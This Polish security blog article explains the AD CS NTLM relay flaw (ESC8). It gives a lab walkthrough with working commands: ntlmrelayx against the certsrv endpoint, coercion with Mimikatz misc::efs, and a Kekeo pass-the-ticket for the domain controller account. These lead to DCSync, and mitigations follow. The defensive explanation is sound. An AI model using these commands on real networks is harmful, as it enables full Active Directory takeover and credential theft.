Menu dostępności

Gorący poniedziałek dla Microsoft – możliwe przejęcie domeny Active Directory poprzez błąd w usłudze PKI!

Jeśli w firmie posiadasz wdrożoną infrastrukturę klucza publicznego – PKI (ang. „Public Key Infrastructure”) oraz jej serwer zarządzający udostępnia usługę webową (portal) do wydawania certyfikatów to najprawdopodobniej atakujący będą mogli przejąć całą domenę Active Directory! Poniżej dowiesz się w jaki sposób może to zrobić (przeprowadzić atak AD CS Relay Attack) oraz jak się przed tym zabezpieczyć.

Microsoft będzie miał pełne ręce roboty (podobno są świadomi błędu)! Po ostatniej krytycznej podatności PrintNightmare związanej z usługą Print Spooler, która spowodowała spore zamieszanie w społeczności Cybersecurity oraz Serious SAM odkryto kolejny błąd. Tym razem w usłudze PKI (Private Key Infrastructure). Lecz zanim przejdziemy do jego opisu najpierw wyjaśnijmy, czym jest PKI oraz jakie usługi udostępnia.


Krótko o AD CS

Active Directory Certificate Services (AD CS) jest implementacją Infrastruktury Klucza Publicznego (PKI) stworzoną przez Microsoft oraz używaną wśród firm. PKI jest zbiorem: użytkowników, polityk, systemów komputerowych niezbędnych do świadczenia usług uwierzytelniania, szyfrowania, integralności i niezaprzeczalności za pośrednictwem kryptografii klucza publicznego, prywatnego i certyfikatów elektronicznych. AD CS zapewnia usługę wydawania i zarządzania certyfikatami cyfrowymi poprzez:

  • Certification Authorities (urząd certyfikacji),
  • CA Web Enrollment (Web wydawanie),
  • Online Responders,
  • Network Device Enrollment Service (NDES),
  • Certificate Enrollment Web Service,
  • Certificate Enrollment Policy Web Service

To w usłudze „CA Web Enrollment” (Web wydawanie) badacze bezpieczeństwa odkryli błąd pozwalający przejąć domenę AD.


Niezabezpieczona usługa webowa PKI

W zeszły piątek Benjamin Delpy, twórca narzędzi: Mimikatz oraz Kekeo, pokazał POC jak za pomocą zwykłego konta użytkownika przejąć całą domenę Active Directory.

Problem tkwi w usłudze serwera webowego PKI (komponent aplikacji webowej CertSrv), która nie jest odpowiednio zabezpieczona – używa protokołu NTLM do uwierzytelnienia. Okazuje się, że można przeprowadzić atak typu MITM (man-in-the middle) przejąć certyfikat serwera i wykorzystać go do wygenerowania biletu Kerberos, za pomocą którego możemy przejąć domenę Active Directory.

Benjamin pokazał atak z wykorzystaniem narzędzia impacket i specjalnego ataku NTLMRELAY (moduł ntmlrelayx.py), za pomocą którego był w stanie przejąć certyfikat serwera, a następnie w narzędziu Kekeo wykonać atak Pass-The-Ticket na uprawnieniach konta kontrolera domeny. Na końcu demo pokazał, że za pomocą tego konta można pobrać dowolny hash NTLM konta (atak DCSync w narzędziu Mimikatz), w tym najważniejszego konta serwisowego Kerberos (krbtgt) w Active Directory.

Film z demo ataku możecie zobaczyć poniżej:


Źródło problemu z usługami Certyfikacji w Active Directory

Wszystko rozpoczęło się od opublikowania 17 czerwca przez użytkowników @harmj0y i @tifkin_ niesamowitego badania na temat usług certyfikatów Active Directory (AD CS). W publikacji opisują szczegółowo i zwracają uwagę na możliwość przekazywania skrótu NTLM hash do usług webowych urzędów certyfikacji Active Directory (kod ESC8). Pokazują jak błędna konfiguracja umożliwia atakującemu usług AD CS przekazanie uwierzytelnienia konta użytkownika/komputera do serwera AD CS i uzyskanie certyfikatu użytkownika/komputera. Gdy atakujący uzyska certyfikat, może zażądać TGT użytkownika/komputera i stać się tym użytkownikiem/komputerem w sieci.

Owa informacją zaczęła się szybko rozpowszechniać w świecie cybersecurity i niedawno zaimplementowano ten atak w narzędziu „ntlmrelayx.py” impacket.


Jak przeprowadzić atak?

W celu przeprowadzenia ataku “AD CS Relay Attack” potrzebujemy serwer z zainstalowanymi narzędziami impacket (z odpowiednią wersją modułu ntlmrelayx.py) oraz Kekeo i Mimikatz. W celu wykonania scenariusza przygotowaliśmy środowisko składające się z 4 hostów:

  1. Kontroler domeny DC.KAPITAN.HACK (Windows 2019) adres IP – 172.16.215.100.
  2. Serwer Certyfikatów z zainstalowaną usługą Web o nazwie SRV.KAPITAN.HACK, adres IP 172.16.215.150.
  3. Serwer KALI z zainstalowanymi narzędziem impacket, adres IP 172.16.215.6.
  4. Stację roboczą z Windows 10, z której będziemy wykonywali atak z narzędzi Kekeo oraz Mimikatz.

Krok 0 – kompilacja odpowiedniej wersji NtlmRelayX

Instalacja narzędzia impacket z odpowiednią wersją obsługującą AD CS

git clone https://github.com/ExAndroidDev/impacket cd impacket git switch ntlmrelayx-adcs-attack p python3 -m pip install


Krok 1 – przygotowanie NtlmRelayX

Wykonując poniższe polecenie na serwerze Kali przeprowadzimy atak MITM na usługę web wydawania certyfikatów. Po zmiennej „target” musimy podać adres www serwera z usługą CertSrv.

ntlmrelayx.py -debug -smb2support –target http://srv.kapitan.hack/certsrv/certfnsh.asp –adcs –template DomainController


Krok 2 – uruchomienie Mimikatz i wymuszenie żądania o certyfikat

Uruchamiamy narzędzie Mimikatz na stacji roboczej Windows 10 i wykonujemy następujące polecenie w celu wygenerowania certyfikatu

misc::efs /server:dc.kapitan.hack /connect:172.16.215.6 /noauth

Benjamin wykorzystuje w tym przypadku komunikację po protokole MS-EFSR


Krok 3 – skopiowanie certyfikatu z odpowiedzi impacket

Wracamy na serwer Kali, na którym uruchomiliśmy narzędzie Ntmlrelayx.py i kopiujemy wygenerowany CSR (Certificate Request) zakodowany w Base64:

Od teraz wygenerowany certyfikat serwera DC posłuży nam do ataku Pass-the-Ticket.


Krok 4 – wykonanie ataku Pass-th-Ticket

Skopiowany w kroku 3 certyfikat użyjemy do przeprowadzenia ataku Pass-the-Ticket w narzędziu Kekeo.

Uruchamiamy narzędzie Kekeo.exe i przełączamy w tryb wczytywania tekstu w base64:

base64 /input:on

Następnie uruchamiamy moduł tgt (do generowania biletów TGT) i w funkcji „ask” podajemy certyfikat (po przełączniku „pfx”), nazwę użytkownika – w naszym przypadku konto kontrolera domeny DC$ (po przełączniku user), nazwę domeny (po przełączniku domain) oraz uruchamiamy pass-the-ticket (przełącznik ptt):

tgt::ask /fpx kod_certyfikatu_w_base64 /user:DC$ /domain:kapitan.hack /ptt

Jeśli wszystko poprawnie się wykona powinniśmy otrzymać bilet TGT kontrolera domeny. Od teraz będziemy mogli wykonać atak DCSync, którego opis znajdziecie w naszej kampanii CYBER KILLCHAIN.


Jak pozbyć się problemu?

  • Przede wszystkim powinniśmy odinstalować webową usługę generowania certyfikatów CertSvr. Usługa ta nie jest konieczna i można użyć RPC do generowania certyfikatów.
  • Usunąć lub wyłączyć możliwość uwierzytelniania Negotiate/NTLM i włączyć Kerberos.
  • Spróbować wzmocnić ochronę webowej usługi serwera certyfikatów poprzez wdrożenie uwierzytelniania do portalu z obsługą SSL – domyślnie serwer webowy PKI nie posiada certyfikatu.
  • Inne sposoby na zabezpieczenie usługi AD CS możecie znaleźć na końcu tego dokumentu.
  • Rekomendacja Microsoft zamieszczona 23 lipca 2021 roku.

Popularne

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

W tym artykule pokażemy, jak możemy zmienić hasło administratora na komputerze posiadając do niego fizyczny dostęp. Artykuł ten można potraktować także jako przestrogę dla firm, które nie zaimplementowały jeszcze odpo...
Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jeśli masz odrobinę szczęścia lub „odpowiednie umiejętności” i potrafisz zdobyć lokalne uprawnienia administracyjne na Twoim komputerze w firmie lub zaliczasz się do grona tych szczęściarzy, którzy pracuj...
Jak awaria Azure Front Door rzuciła cień na globalne usługi chmurowe

Jak awaria Azure Front Door rzuciła cień na globalne usługi chmurowe

W środę 9 października użytkownicy platformy Microsoft Azure na całym świecie doświadczyli poważnych zakłóceń. Wiele usług stało się niedostępnych, a administratorzy nie mogli nawet zalogować się do portalu...
Czego nie mówi Broadcom? Luka w VMware jest banalna do wykorzystania i korzysta z niej co najmniej jedna grupa hakerska!

Czego nie mówi Broadcom? Luka w VMware jest banalna do wykorzystania i korzysta z niej co najmniej jedna grupa hakerska!

Niedawno załatana wysoce poważna luka w zabezpieczeniach VMware jest wykorzystywana jako zero-day od października 2024 roku do wykonywania kodu z podwyższonymi uprawnieniami. Taką informacją podzieliło się w...
Zero-day i groźna eskalacja uprawnień w systemie Windows –  analiza CVE-2025-59230 i ostrzeżenie CISA

Zero-day i groźna eskalacja uprawnień w systemie Windows –  analiza CVE-2025-59230 i ostrzeżenie CISA

Ostrzegamy wszystkie firmy i instytucje przed nowo ujawnioną luką w systemie Microsoft Windows – CVE-2025-59230. Jest to poważna podatność, umożliwiająca lokalnemu atakującemu z niskimi uprawnieniami uzyskanie...